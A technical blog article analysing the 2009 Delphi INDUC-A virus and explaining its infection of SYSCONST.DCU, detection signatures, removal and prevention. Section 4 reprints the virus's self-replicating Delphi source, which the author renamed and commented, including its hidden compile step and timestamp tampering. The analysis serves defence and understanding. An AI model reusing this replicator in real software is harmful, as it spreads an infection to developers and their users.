The Delphi INDUC A virus Anatomy - Felix John COLIBRI. |
- abstract : the WIN32 INDUC A : virus technique, source code, and threat evaluation. How to detect, heal and protect yourself from this virus which uses Delphi 4 to Delphi 7 compiled .EXE files
- key words : virus - INDUC A - self copying code - anti virus - SYSCONST.PAS
- software used : Windows XP Home, Delphi 6
- hardware used : Pentium 2.800Mhz, 512 M memory, 140 G hard disc
- scope : any Windows PC
- level : Delphi developer
- plan :
1 - The INDUC-A virus buzz
The WIN32/INDUC-A virus was identified and presented on August the 12th by a Russian programmer "Gun Smoker" in a blogspot titled Delphi-"virus": check your installed Delphi!
Currently, typing "INDUC-A" on Google.Com presented over 40,000 links on August 24th, and is still spreading (over 65,000 12 hours later, this morning, the 25th). And even 65,001 with this article !
This article will
- summarize the threat
- present and analyze the virus source code
- present some facts we can derive from the source analysis
- add some miscellaneous comments of our own
- list some of the (65,001) links about this virus
2 - The WIN32 INDUC A virus facts For those wringing their hands in anguish, here are the simple facts : - the virus is contained in (many) .EXE that were compiled with Delphi 4.0,
Delphi_5.0, Delphi 6.0 and Delphi 7.0 and then distributed
- the technique used is the following : when an infected .EXE is executed on a PC where Delphi 4 to 7 are installed
- it infects (duplicates itself) in SYSCONST.DCU
- all Delphi programs compiled on this PC will be infected
- when those .EXE are distributed on other (clean) PCs where Delphi 4 to 7 are installed, the process repeats itself
The net effect is
- on PCs WITHOUT Delphi 4 to 7 installed, some .EXE are simply 5K fatter
- on PCs WITH Delphi 4 to 7 installed
- SYSCONST.DCU will be 5K fatter
- all Delphi programs compiled after the infection will be 5K fatter and
might spread the virus when distributed
It does no harm : - it only sits in some .EXE on PC without Delphi 4 to 7
- it and will duplicate itself after compilation of Delphi code on PCs with Delphi 4 to 7 installed
- on the detection front
- ALL the main Anti Virus softwares currently detect the virus since August the 19 th, although usually with too much concern
- a simple analysis of a 40 character ASCII signature in an .EXE will unearth it
- to heal a PC, one should
- remove it from SYSCONST.DCU (if present on the PC)
- remove it from all the .EXEs
- the only real thread is that the technique could be used for a more dangerous virus. But then, we are no longer talking about INDUC-A but of another virus
You will find those facts presented in many of the 65,000 web links. We
rephrased the whole thing, based on the analysis of the virus source code, which is now presented.
3 - The Anatomy of the Delphi 3.1 - Analyzing the Virus
The easiest way is to present the infection scenario. We will start with a PC where an infected .EXE has just been installed.
3.2 - Installation of an infected application
You install (download from the web, CD, whatever) an infected application. Say ACCOUNTING.EXE : For the INDUC-A virus
- this application has been built by Delphi (version 5 to 7)
- therere contains
If this PC has not contain the Delphi 4 to 7 installation, running the infected application will do nothing.
3.3 - Running the Infected .EXE on a Delphi 4 to 7 PC Let's assume that on this PC you have installed Delphi (4 to 7). In this case, the memory map will be: and the Delphi parts that will be used by the INDUC-A virus are - the (virus free, for now), compiled version of SYSCONST.DCU (in LIB)
- the (virus free) source code SYSCONST.PAS (in RTL\SYS\)
- the command line compiler DCC32.EXE (in BIN)
As usual with Delphi, the installation create the full source code files for all end user component (the tButton, tForm, tDataBase, tClientSocket etc)
but not the IDE, the compiler, or some tools like the Internet debug server. Those sources were included since Delphi 1, as a example to help component creator to write their own components, or to serve as an teaching example of
very powerfull libraries. Those sources are in the SOURCE\ directory, like, in our case C:\Program Files\Borland\Delphi6\Source\ and the SYSCONST.PAS is in a sub-directory
C:\Program Files\Borland\Delphi6\Source\Rtl\Sys\
For day to day work, the installation also creates the compiled versions of those source code .PAS Units, and places them int the LIB\ directory. In our case:
C:\Program Files\Borland\Delphi6\Lib\ In fact, we could throw away the SYSCONST.PAS, since the compiler only uses the SYSCONST.DCU Unit.
The DELPHI32.EXE is the Delphi tool itself (the IDE), and this IDE starts its own compiler when needed. However, to automate the recompilation of some big libraries, we can use some
script compilation (BUILD or MAKE type of scripts), and those use the dedicated DCC32.EXE command line compiler. This compiler does exactly the same thing as the integrated compiler, but can optionally be used for batch compilation.
3.4 - Executing the infected Accounting.Exe When we start the Accounting.Exe, the virus will automatically be executed.
This automatic execution is caused by the Pascal Unit initialization code :
In the case of the infected Accounting.Exe: - the virus has infected SYSCONST.DCU by adding a replicating code which is
called in the SYSCONST initialization part
- the replicating code will infect the (clean) SYSCONST.DCU of this PC
Therefore the situation will now look like this:
At this stage nothing else happen. We just have a SYSCONST.DCU with is a little
bit fatter (around 5 K more), but everything will work just fine.
3.5 - Compilation of another Delphi Application Usually if you have Delphi installed, you intend to use it. Generally all day long.
So let's assume that you want to add some improvements to the INVENTORY application: - you make the changes to the .PAS
- you compile
The (infected) SYSCONST.DCU will automatically be included in the INVENTORY.EXE
application, which is now infected :
So what ?
Well, if you only use your Delphi .EXE on this machine, nothing else will happen. Running INVENTORY.EXE cannot infect more SYSCONST.DCU than it already is. At this stage, the only effect of the virus was to increase the size of
SYSCONST.DCU by 5 K. Big deal ! 3.6 - Distributing INVENTORY.EXE However, if you distribute your infected .EXE, those machine will be infected themselves. Let's stress again, that
- if those PC do not have Delphi 4 to 7 installed, nothing will happen
- if they are already infected, nothing more will happen to them
But if Delphi 4 to 7 is installed, their SYSCONST.PAS will be increased by 5K,
and any compilation will infect the compiled .EXE Etc etc
3.7 - How is SYSCONST.DCU infected ? This is now the interesting part. How can an infected .EXE infect SYSCONST.DCU ?
Here are the key points
- the virus is written in Delphi.
- it contains two parts
- the Pascal source statements that infect SYSCONST.PAS and compile it into SYSCONST.DCU
- a Pascal String Const which contains this same code, but as a litteral string constant
Lets assume that the Pascal code infecting SYSCONST.PAS is
Procedure infect_pas; Begin
add__infect_pas__to_sysconst_pas; compile__sysconst_pas__into__sysconst_dcu; End; |
When this part is run, it should add to the clean SYSCONST.PAS this same source code. However, once this part is compiled, it is transformed into 386 binary, and the source code has been lost.
To solve the problem, the virus contains, as a first part, a litteral constant containing the litteral string of the infecting part:
Const k_infect_pas= 'procedure infect_pas;' +' begin'
+' copy__k_infect_pas__intto__sysconst_pas;' +' compile__sysconst_pas__into__sysconst_dcu;'
+' end;'; Procedure infect_pas; Begin
copy__k_infect_pas__intto__sysconst_pas; compile__sysconst_pas__into__sysconst_dcu;
End; | and the copy__k_infect_pas__intto__sysconst_pas statement simply copies this string litteral into SYSCONST.PAS (more accurately, copies the string litteral
and the corresponding pascal code).
Finally the code is inserted into SYSCONST.PAS. This Unit mainly contains an Interface part where the constants are defined, but no Implementation code:
Unit SysConst; Interface
Const SLongMonthNameJan = 'January'; Implementation
End | Therefore the virus simply installs himself after the Implementation. So the infected SYSCONST.PAS will look like :
Unit SysConst; Interface
Const SLongMonthNameJan = 'January'; Implementation
Const k_infect_pas= 'procedure infect_pas;'
+' begin' +' copy__k_infect_pas__intto__sysconst_pas;'
+' compile__sysconst_pas__into__sysconst_dcu;' +' end;'
+'' +'begin' +' infect_pas;'
+'end.'; Procedure infect_pas;
Begin copy__k_infect_pas__intto__sysconst_pas;
compile__sysconst_pas__into__sysconst_dcu; End;
Begin infect_pas; End. |
3.7.1 - The SYSCONST.DCU at work Let's assume that we compile the previous code. Suppose that this SYSCONST.DCU is included in INVENTORY.EXE.
When INVENTORY.EXE is run on a clean machine :
- all the initialization of Units will be called.
- therefore infect_pas will be called
- the binary code of this Procedure will then
- locate SYSCONST.PAS
- copy the k_infect_pas constant in SYSCONST.PAS like this :
- locate DCC32.EXE and compile SYSCONST.PAS into SYSCONST.DCU, which now also contains the virus :
There are a couple of additional minor points - the virus saves the original SYSCONST.PAS, modifies SYSCONST.PAS, compiles
it into SYSCONST.DCU and then reinstalls the original SYSCONST.PAS to cover its tracks
- the copying is performed in 3 parts, since the Implementation must contain
- a new Uses Windows clause
- the string constant
- the statements
- the location of SYSCONST.PAS, SYSCONST.DCU and DCC32.EXE is performed by looking into the Windows Registry. This is the snapshot of our Delphi 6 registry entry:
- the quotes inside of the string constants strings have been changed into "$". We assume this was an attempt to obfuscate a binary dump of the
infected code
For instance, the copying statement of the string in SYSCONST.PAS is :
For l_file_handle:= 1 To 23 Do
writeln(l_new_file_to_modify, ''''+ sc[l_file_handle], ''',');
| and the string litteral included in the .EXE is defined by
Var sc: Array[1..24] Of String= (
'uses windows; var sc:array[1..24] of string=(',
'l_file_time_1, l_file_time_2, l_file_time_3: FILETIME;',
ooo
'for l_file_handle:= 1 to 23 do',
' writeln(l_new_file_to_modify, ''''+ sc[l_file_handle], ''',');',
ooo | Now this constant has been obfuscated into into :
Var sc: Array[1..24] Of String= (
'uses windows; var sc:array[1..24] of string=(',
'l_file_time_1, l_file_time_2, l_file_time_3: FILETIME;',
ooo
'for l_file_handle:= 1 to 23 do',
' writeln(l_new_file_to_modify, $$$$+ sc[l_file_handle], $$$,$);',
ooo | and an hex dump would show
writeln(l_new_file_to_modify, $$$$+ sc[l_file_handle], $$$,$); which, because of the "$$$$" does not look very Pascal like. Well, to non Pascal programmers... Anyway, this "$" substitution explains the purpose of the
f_change_dollar_into_quote which changes the "$" back into a quote. - finally, in this f_change_dollar_into_quote procedure, the "$" is coded as #36 and the quote #39.
4 - The WIN32.INDUC.A virus source code Gun SMOKER who was the first to raise the whole issue also published the source code of the virus.
We renamed the identifiers and added some comments, but the source is the source found on Gun SMOKERS site. Or, more exactly, the source of the guy who wrote the virus in the first place !. And guess what, the feller forgot to put
a Copyright on it ! Uses Windows;
Var sc: Array[1..24] Of String=
( 'uses windows; var sc:array[1..24] of string=(',
'function f_change_dollar_into_quote(p_string: string): string;',
'var l_index: integer;', ooo
);
Function f_change_dollar_into_quote(p_string: String): String;
Var l_index: integer; Begin
For l_index:= 1 To length(p_string) Do
If p_string[l_index]= #36
Then p_string[l_index]:= #39;
result:= p_string; End; // f_change_dollar_into_quote
Procedure modify_compile_erase(p_source_to_modify_in_RTL_file_name,
p_source_to_modify_without_suffix_in_LIB_file_name, p_quoted_dcc32_exe_BIN_file_name: String);
Var l_file_handle: cardinal;
l_file_to_modify, l_new_file_to_modify: textfile;
l_startup_info: STARTUPINFO;
l_create_process_result: boolean;
l_process_information: PROCESS_INFORMATION;
l_file_time_1, l_file_time_2, l_file_time_3: FILETIME;
Begin // -- try to open SYSCONST.BAK l_file_handle:=
CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'bak'),
0, 0, 0, 3, 0, 0);
display(f_integer_to_hex(Integer(l_file_handle)));
If l_file_handle<> DWORD(- 1)
Then Begin
// -- if did find this file, assume that the virus is already installed
// -- and exit
CloseHandle(l_file_handle); Exit;
End; // -- the $ -> ' bug
{'I-} // -- open SYSCONST.PAS
assignfile(l_file_to_modify, p_source_to_modify_in_RTL_file_name);
// -- here should exit if SYSCONST.PAS was not found
// -- and bombs because had changed {$I-} in {'I-}
reset(l_file_to_modify); If ioresult<> 0
Then exit;
// -- create a modified copy of RTL\SYSCONST.PAS as LIB\SYSCONST.PAS
assignfile(l_new_file_to_modify,
p_source_to_modify_without_suffix_in_LIB_file_name+ 'pas');
rewrite(l_new_file_to_modify); If ioresult<> 0
Then Begin
closefile(l_file_to_modify); exit;
End; // -- copy up to the INTERFACE
While Not eof(l_file_to_modify) Do
Begin
readln(l_file_to_modify, p_source_to_modify_in_RTL_file_name);
writeln(l_new_file_to_modify, p_source_to_modify_in_RTL_file_name);
If pos('implementation', p_source_to_modify_in_RTL_file_name)<> 0
Then break; End;
// -- insert the text of this very code
// -- 1 - the header, from the constant code array
For l_file_handle:= 1 To 1 Do
writeln(l_new_file_to_modify, sc[l_file_handle]);
// -- 2 - the quoted text of this code (for infections to come)
For l_file_handle:= 1 To 23 Do
writeln(l_new_file_to_modify, ''''+ sc[l_file_handle], ''',');
// -- 3 - the last row (no ending quote, but a ")"
writeln(l_new_file_to_modify, ''''+ sc[24]+ ''');');
// -- 4 - the remainder of the source code
// -- from the constant code array
// -- without the $
For l_file_handle:= 2 To 24 Do
writeln(l_new_file_to_modify, f_change_dollar_into_quote(sc[l_file_handle]));
closefile(l_file_to_modify); closefile(l_new_file_to_modify);
// -- the $ -> ' bug {'I+}
// -- rename LIB\SYSCONST.DCU as LIB\SYSCONST.BAK
// -- which will be used by a next trial as a mark of the infection
// -- and also will be used to restore the original in case
// -- of compilation error
MoveFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'dcu'),
pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'bak'));
// -- create the compiling process
fillchar(l_startup_info, sizeof(l_startup_info), 0);
l_startup_info.cb:= sizeof(l_startup_info);
l_startup_info.dwFlags:= STARTF_USESHOWWINDOW;
l_startup_info.wShowWindow:= SW_HIDE;
// -- here compiles LIB\SYSCONST.PAS into LIB\SYSCONST.DCU
l_create_process_result:= CreateProcess(Nil,
pchar(p_quoted_dcc32_exe_BIN_file_name+ '"'
+ p_source_to_modify_without_suffix_in_LIB_file_name+ 'pas"'),
0, 0, false, 0, 0, 0, l_startup_info, l_process_information);
If l_create_process_result
Then WaitForSingleObject(l_process_information.hProcess, INFINITE);
// -- only rename LIB\SYSCONST.BAK (the original DCU) into LIB\SYSCONST.DCU
// -- if DCC32.EXE failed to create the (infected) DCU
// -- (restoration of the DCU in case of compilation error)
MoveFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'bak'),
pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'dcu'));
// -- remove the modified LIB\SYSCONST.PAS
DeleteFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'pas'));
// -- open LIB\SYSCONST.BAK (the original SYSCONST.DCU) to get the date/time
l_file_handle:=
CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'bak'),
0, 0, 0, 3, 0, 0);
If l_file_handle= DWORD(- 1)
Then exit; // -- read the original DCU file time
GetFileTime(l_file_handle, @l_file_time_1, @l_file_time_2, @l_file_time_3);
CloseHandle(l_file_handle); // -- open the new LIB\SYSCONST.DCU
l_file_handle:=
CreateFile(pchar(p_source_to_modify_without_suffix_in_LIB_file_name+ 'dcu'),
256, 0, 0, 3, 0, 0);
If l_file_handle= DWORD(- 1)
Then exit;
// -- change its time to the original time
SetFileTime(l_file_handle, @l_file_time_1, @l_file_time_2, @l_file_time_3);
CloseHandle(l_file_handle); End; // modify_compile_erase
Procedure infect_and_compile;
Var l_version_character: char;
l_borland_registry_key: HKEY;
l_index: cardinal;
l_key_content: Array[1..255] Of char;
l_root_dir: String; Begin
// -- find if registry contains Delphi-4 to Delphi-7
For l_version_character:= '4'To '7' Do
If RegOpenKeyEx(HKEY_LOCAL_MACHINE,
pchar('Software\Borland\Delphi\'+ l_version_character+'.0'),
0, KEY_READ, l_borland_registry_key)= 0
Then Begin
// -- if so, find the "RootDir" key
// -- eg, for Delphi 6 "C:\Program Files\Borland\Delphi6"
l_index:= 255;
If RegQueryValueEx(l_borland_registry_key,
'RootDir', Nil, @l_index, @l_key_content, @l_index)= 0
Then Begin
// -- convert into a string
l_root_dir:= '';
l_index:= 1;
While l_key_content[l_index]<> #0 Do
Begin
l_root_dir:= l_root_dir+ l_key_content[l_index];
inc(l_index);
End;
modify_compile_erase(
l_root_dir+ '\source\rtl\sys\SysConst'+ '.pas',
l_root_dir+'\lib\sysconst.',
'"'+ l_root_dir+ '\bin\dcc32.exe" ');
End;
RegCloseKey(l_borland_registry_key);
End; End; // infect_and_compile
Begin infect_and_compile End. |
The algorithm is quite straigtforward:
- the code is started from the initialization of SYSCONST
- the infect_and_compile procedure :
- checks if HKEY_LOCAL_MACHINE contains any of the following key :
Software\Borland\Delphi\4.0
Software\Borland\Delphi\5.0 Software\Borland\Delphi\6.0 Software\Borland\Delphi\7.0 - if this is the case, extracts the "RootDir" value
- calls modify_compile_erase, handing over the locations and names of SYSCONST.PAS, the LIB directory and DCC32.EXE
- modify_compile_erase then
- opens SYSCONST.PAS
- inserts after Implementation, both the litteral string and the statement. This is the most tricky part:
- it first inserts the USES Windows clause required by all the
RegOpenKeyEx, CreateProcess kind of calls)
- then adds the string constant (hence the quoting activity)
- finally copies the text after the litteral constant, changing the "$" into "'" on the fly
- start the compilation of SYSCONST.PAS into SYSCONST.DCU
- then covers its track
Note that the errors are nicely covered, and only the presence of LIB\SYSCONST.BAK (and of course an infected LIB\SYSCONST.DCU) will be changed
in the whole PC.
5 - Additional Conclusions 5.1 - The dry facts Once the source code has been analyzed, it was quite easy to derive the
the INDUC A virus facts at the start of this article. 5.2 - Virus multiplication How does the virus infect other application .EXEs ? Of course, it does not
wildly jump up and down and infect any .EXE in sight. The answer is given by the test at the start of infect_and_compile:
// -- find if registry contains Delphi-4 to Delphi-7
For l_version_character:= '4'To '7' Do
If RegOpenKeyEx(HKEY_LOCAL_MACHINE,
pchar('Software\Borland\Delphi\'+ l_version_character+'.0'),
0, KEY_READ, l_borland_registry_key)= 0
Then Begin // -- infect SYSCONST.DCU
End; | Since the virus looks for Delphi 4.0, 5.0, 6.0 or 7.0, - all the non Delphi .EXE (Word, Excel etc) will NEVER be infected
- it NOT contained in .DLLs, drivers, system files, activex or scripts of any kind. Only in some Delphi 4 to 7 compiled files
- the Delphi 8.nnn 2005.nnn, 2006.nnn, Delphi 2007.nnn, Delphi 2009.nnn,
Delphi 2010.nnn compiled files cannot and will NOT be infected,
- even the Delphi 4.nnn, Delphi 5.nnn, Delphi 6.nnn, Delphi 7.nnn where nnn is greater than 0 will NOT be infected
- ONLY the Delphi 4.0, Delphi 5.0, Delphi 6.0, Delphi 7.0 MIGHT be infected, after compilation or recompilation by those Delphi versions (not if you recompile on any of the non Delphi 4.0 to 7.0 Delphi version)
- if you move to a newer version of Delphi (Delphi 2006, Delphi 2007, Delphi 2009, Delphi 2010), recompiling the sources of an infected .EXE will remove the virus from this .EXE
This can be summarized by the following figure :
5.3 - Detection of the Compile-A Virus Once installed, the virus contains the 5 K additional workload in SYSCONST.DCU
and on some .EXEs. They should contain - the string litteral constant
- merged in the 386 binary code, the strings used to look into the registry, open and copy the files, start the compilation
We compiled our virus source in a bogus Unit, and made an hex dump of the .DCU : - the compile Const area contains the original SYSCONST.PAS "January" string:
0280: FF FF FF FF 03 00 00 00 4E 6F 76 00 25 12 53 53 : ÿÿÿÿ.... Nov.%.SS
<
0290: 68 6F 72 74 4D 6F 6E 74 68 4E 61 6D 65 44 65 63 : hortMont hNameDec
<
02A0: 8A CE 35 74 9A 04 02 18 FF FF FF FF 03 00 00 00 : èÎ5tš... ÿÿÿÿ....
<
02B0: 44 65 63 00 25 11 53 4C 6F 6E 67 4D 6F 6E 74 68 : Dec.%.SL ongMonth
<
02C0: 4E 61 6D 65 4A 61 6E 8A 8C C7 B5 0D 04 02 20 FF : NameJanè îǵ... ÿ
<
02D0: FF FF FF 07 00 00 00 4A 61 6E 75 61 72 79 00 25 : ÿÿÿ....J anuary.%
<
02E0: 11 53 4C 6F 6E 67 4D 6F 6E 74 68 4E 61 6D 65 46 : .SLongMo nthNameF
<
02F0: 65 62 8A 02 E7 B9 E4 04 02 22 FF FF FF FF 08 00 : ebè.ç¹ä. ."ÿÿÿÿ..
<
0300: 00 00 46 65 62 72 75 61 72 79 00 25 11 53 4C 6F : ..Februa ry.%.SLo
<
| - it contains the string litteral of the virus code. Here is the first CreateFile call :
0040: 00 00 62 65 67 69 6E 00 00 00 FF FF FF FF 5C 00 : ..begin.
..ÿÿÿÿ\. <
0050: 00 00 6C 5F 66 69 6C 65 5F 68 61 6E 64 6C 65 3A : ..l_file _handle:
<
0060: 3D 20 43 72 65 61 74 65 46 69 6C 65 28 70 63 68 : = Create File(pch
<
0070: 61 72 28 70 5F 73 6F 75 72 63 65 5F 74 6F 5F 6D : ar(p_sou rce_to_m
<
0080: 6F 64 69 66 79 5F 77 69 74 68 6F 75 74 5F 73 75 : odify_wi thout_su
<
0090: 66 66 69 78 5F 69 6E 5F 4C 49 42 5F 66 69 6C 65 : ffix_in_ LIB_file
<
00A0: 5F 6E 61 6D 65 2B 20 27 62 61 6B 27 29 2C 00 00 : _name+ ' bak'),..
<
| - and it contains, merged into the 386 code, the string litterals like 'bak', 'pas', or, more significantly 'Software\Borland\Delphi\' and '\source\rtl\sys\SysConst'
03F0: 00 00 5C 62 69 6E 5C 64 63 63 33 32 2E 65 78 65 : ..\bin\d
cc32.exe <
0400: 22 20 00 00 00 00 FF FF FF FF 0E 00 00 00 5C 6C : " ....ÿÿ
ÿÿ....\l <
0410: 69 62 5C 73 79 73 63 6F 6E 73 74 2E 00 00 FF FF : ibsysco nst...ÿÿ
<
0420: FF FF 18 00 00 00 5C 73 6F 75 72 63 65 5C 72 74 : ÿÿ....\s
ourcert <
0430: 6C 5C 73 79 73 5C 53 79 73 43 6F 6E 73 74 00 00 : l\sys\Sy
sConst.. <
| Therefore, to detect the virus, looking for the 'CreateFile' string or the 'source\rtl\SysConst' will detect the virus. And you only need to look a the Delphi generated .EXEs.
The code of the virus is (intentionally I guess) written with quite short identifiers : - the function converting "$" is called e (which we renamed f_change_dollar_into_quote)
- our modify_compile_erase is called re, and the parameter
- our p_source_to_modify_without_suffix_in_LIB_file_name is named d
- our l_file_handle is h
So the creation code will be
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0); and because of the "'" quote into "$" obfuscation, it became h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);
Therefore looking for this string will prove that the inspected SYSCONST.DCU or any other .EXE is infected. And sice a PC does not contains thousands of .EXEs, this is still reasonably manageable.
Also not that since this kind of virus has its source (as a litteral constant embedded in the .EXE), it can easily be extracted from the .EXE, and this is obviously what Gun SMOKER did. In fact, if we had an infected .EXE, it would
have been easier to get the source than extracting it from the Russian translation of Gun SMOKER's article !
5.4 - Detection by AntiVirus software Gun SMOKER kindly sent the information to KASPERSKY and SYMANTEC. Because of
the whole rufus, all the main software detect INDUC A We found yesterday an html link by VirusTotal which presents the analysis of
some .EXE that was sent to them for examination, the 19th August. It proves that INDUC A is now detected by :
AntiVir
Avast
AVG
BitDefender
DrWeb
eSave
F-Secure
GDataa
Kaspersky
McAfee, McAfee+Artemis, McAfee GW Edition
Microsoft
Nod32
Sophos
Symantec
VirusBuster
We found that our AVG free virus checker also detects INDUC A : - we first included Gun SMOKER's INDUC A source in a unit and compiled it
- the generation of the disc .EXE was blocked by AVG:
Therefore if your Anti Virus is up to date, you will NOT BE ALLOWED to further infect the newly compiled programs.
We could compile our renamed code (in order to check that it works, and to present the binary hex dumps). And this version WAS NOT BLOCKED, which was not very surprising. Apparently, the AVG only looks for some original constant, like :
h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0); and not for our renamed l_handle:=CreateFile(pchar(
p_source_to_modify_without_suffix_in_LIB_file_name+$bak$),0,0,0,3,0,0); constant. Other antivirus could be more accurate, by looking for the conjuction of
'Software\Borland\Delphi\' and '\source\rtl\sys\SysConst', for instance
We could also create our own detection project, using a fast string search (Boyer More, or HorseSpool) which we presented in several of our articles :
To protect any other possible .EXE infection, the best thing would be to
periodically compare the size (and maybe some kind of CRC signature) of the current .DCUs and .EXE to the size (and CRC) of those files just after installation. This might become quite tedious, since we should check each .EXE
file. And if we upgrade some .DCU or .EXE, the signatures should be recomputed.
5.5 - Overkill The fact that AVG (and possibly other) locked the generation of any .EXE
containing the signature means that on any infected PC, compilation with Delphi 4 to 7 will be blocked. And this is a shame for such an innocuous virus
5.6 - Compiling on an infected PC
First, to be able to still use Delphi 4 to 7 to compile our programs, we simply have to recompile SYSCONST.PAS. The virus - keeps the original SYSCONST.PAS intact (after saving it, modifying, compilation and restoration of the original)
- the virus does not modify the compiler which still works (the integrated one or DCC32.EXE)
So a simple recompilation of SYSCONST.PAS and replacement of the infected SYSCONST.LIB will do
5.7 - Removing the virus
However, as soon as we run an infected .EXE, the virus reinstalls itself, and compilation will be locked again. Therefore we must remove the virus from all the .EXE. We have not implemented it, but simply replacing the binary call to
infect_and_compile (the virus entry point in the Initialization of SYSCONST.DCU) by as many 386 NOP should do. This should stop the infection from this .EXE.
And while we are at it, filling all the areas that the antivirus software might use for INDUC A detection by zeros would also stop the current antivirus panic nonsense.
5.8 - How was the INDUC A virus detected ?
5.8.1 - An old, harmless little feller This virus which checks for Delphi 4 to 7 must have been written in the time of Delphi 7, which is around 2002. It has since then spread and multiplied, without anybody being harmed, or
noticing anything. Not quite, since it sometimes triggers an execution exception
5.8.2 - The Execution Exception The infected machine experiences some mysterious execution exception when running the infected .EXEs.
And the cause of the error is quite funny: - opening SYSCONST.PAS is protected by a $I compiler directive :
{$I-}
// -- open SYSCONST.PAS assignfile(l_file_to_modify, p_source_to_modify_in_RTL_file_name);
reset(l_file_to_modify); If ioresult<> 0
Then exit; ooo {$I+} |
- this code is stored in the string constant :
Var sc: Array[1..24] Of String= (
'uses windows; var sc:array[1..24] of string=(', ooo '{$I-}',
'assignfile(l_file_to_modify, p_source_to_modify_in_RTL_file_name);', ooo |
- and now, folks, when the virus installs itself in SYSCONST.PAS, it calls f_change_dollar_into_quote to "unobfuscate" the "$" into quotes "'". And, naturally is does the same thing for our compiler directives which now become
{'I-} // -- open SYSCONST.PAS
assignfile(l_file_to_modify, p_source_to_modify_in_RTL_file_name); reset(l_file_to_modify);
If ioresult<> 0 Then exit; ooo
{'I+} | Without the "$" after the comment start - the $I becomes an ordinary comment
- if the code does not find SYSCONST.PAS, it triggers an execution exception.
A Delphi version of "Shoot yourself in the foot" ! The virus could only go that far if it could find the Delphi 4.0 to 7.0 registry entry, but failed to find the SYSCONST.PAS. How is this possible ?
Well it might be possible to uninstall Delphi (whic removes SYSCONST.PAS) but might not clean up the registry. Under those circumpstances, the application raised an exception :
and this is what was noticed by many Russian users.
5.9 - How did the INDUC A virus spread ?
The exception was mainly experienced by Russian users of some very popular software in Russia, like - Miranda (a Delphi plug-in)
- QIP,
- AIMP,
- Infinity Box.
including Instant Messaging softwares.
There are some lists of supposedly infected applications now available on the Web. Annoying but not destructive. Only on August 12th did Gun SMOKER decide to investigate, and then published his findings in his blog.
5.10 - How is it propagated today on other PCs The virus is propagated by distributing an infected Delphi 4.0, Delphi 5.0, Delphi 6.0, Delphi 7.0 application .EXE It is NOT propagated :
- by mail, openig attached stuff or running scripts
- by visiting Internet sites, even the most furious and evil ones
- by installing .EXE other than infected Delphi 4.0 to 7.0 .EXEs
- by being connected to contaminated PCs on your network
- by running rotten Word, Excel or Visual Basic macros
- by extracting ZIP files
It is propagated because - YOU installed an infected .EXE (unknowingly, for sure)
- YOU executed this .EXE
We do not try to make you feel guilty, but only want to stress what causes the proliferation
This can be pictured like this :
5.11 - Avoiding infection If you have a PC with the Delphi 4 to 7 installed, there are a couple of ways to avoid the infection of SYSCONST.DCU - move DCC32.EXE into another directory. The virus will not find it and will
be unable to compile the SYSCONST.PAS
- the virus also keeps a SYSCONST.BAK around and placing a bogus SYSCONST.BAK would avoid infecting the current (clean) SYSCONST.DCU
The infected .EXE will still be present, but the virus cannot be included in the Delphi compiled codes. And if you move to a newer version of Delphi (Delphi 2006, Delphi 2007, Delphi
2009, Delphi 2010), recompiling the sources will remove the virus from the .EXE
Another technique is to use some operating system protection, especially with VISTA.
5.12 - What's Next
If you reach this point, you fully understand that the virus is not dangerous. Annoying a most. However it could be modified, installed on other machines, adapted to other compilers etc.
This is the real source of concern, but is beyond the scope of this article. In fact, in an interesting blog post, Craig STUNTZ references Ken THOMPSON's Turing Award where the technique of duplicating code
by a compiler could be exploited. So it's a very old technique, which was nicely implemented for Delphi as an innocent prank, but could be adapted in a far more dangerous way in the future.
The only new thing is that the virus is duplicating when you use an IDE (Delphi in this case)
5.13 - FUD - Fear, Uncertainty, Doubt The main alert seems to have originated in a Sophos
(an antivirus software company) post. And the ball started to roll around this date.
5.14 - Conspiracy theory Only the INDUC A authors know why they launched this virus. We personally
assume it is some kind of trial, like a kid puttint a dime on the railroad track to see how it will be squashed. But with this over information, many soon came up with all kind of conspiracy schemes. The virs COULD have been created by
- anti virus software companies, to improve their sales
- MAC developers who hate WINDOWS
- Delphi haters
- and anyone else you suspect does not like you
Since we do not really know why the virus was created, any theory will do.
5.15 - Was it all right to publish the virus source ? First of all, we simply republished Gun SMOKER's code.
Next, all infected software, and in Russia there are many, contain the source of the virus (in the constant string). To get a working Delphi source code, you simply have to extract this string, and write the two part Delphi code we presented above.
In addition the truely malicious virus writer have known this technique for a long time, and this presentation will not teach them any new trick. And finallys - the source is not complete (the litteral constants have not all been
initialized)
- one still has to boostrap the virus
We mainly decided to publish the source to let each developer convince himself that INDUC A is indeed harmless. Reading the 65,000 pages about INDUC A can
only lead to confusion. Many of those posts only repeat on one side what the author believe he has understood from some other posts. And adds his 2 cents to the story. Once you understand the source (or at least the technique), you can put the
topic in to rest, and you will know exactly what to do if your PC should be hit.
6 - Your Comments This article was written in half a day, and might contain mistakes.
- we welcome any comment, criticism, enhancement, other sources or reference suggestion. Just send an e-mail to fcolibri@felix-colibri.com.
- or more simply, enter your (anonymous or with your e-mail if you want an answer) comments below and clic the "send" button
7 - INDUC A References Just a couple of links : - Gun SMOKER - blog Aug 12 2009
You might want to use
http://translate.google.com/ translate?prev=hp&hl=en&js=y&u=http://gunsmoker.blogspot.com/ 2009/08/delphi-delphi.html&sl=ru&tl=en
for the Google translated version of this page into English We also received a comment from "gunsmoker" telling that two other person had mentionned the exception but did not investigate. Well, HE did, and
therefore he still is, in my opinion, the fist person who presented and explained the virus. - Sophos - 18 Aug
- Compile-a-virus - W32/Induc-A
- one of the posts which might have vastly overstated the danger of INDUC A
- they also referenced the THOMPSON's paper
- Craig STUNTZ - blog Aug 20 2009
- CodeGear is fully aware of the virus, and several posts have been published on the topic
- Alan BAUER - Aug 20
- Nick HODGES - 24 august
- VirusTotal - 19 aug
- VirusTotal
the link is (with no spaces or line http://www.virustotal.com/analisis/ 8919489a83222206a8f582bf38612d925c619fd
58196de66660ba0134074283f-1250686830 - Felix COLIBRI
Two projects which include fast string search routines, which could be applied to detect INDUC A
8 - The author
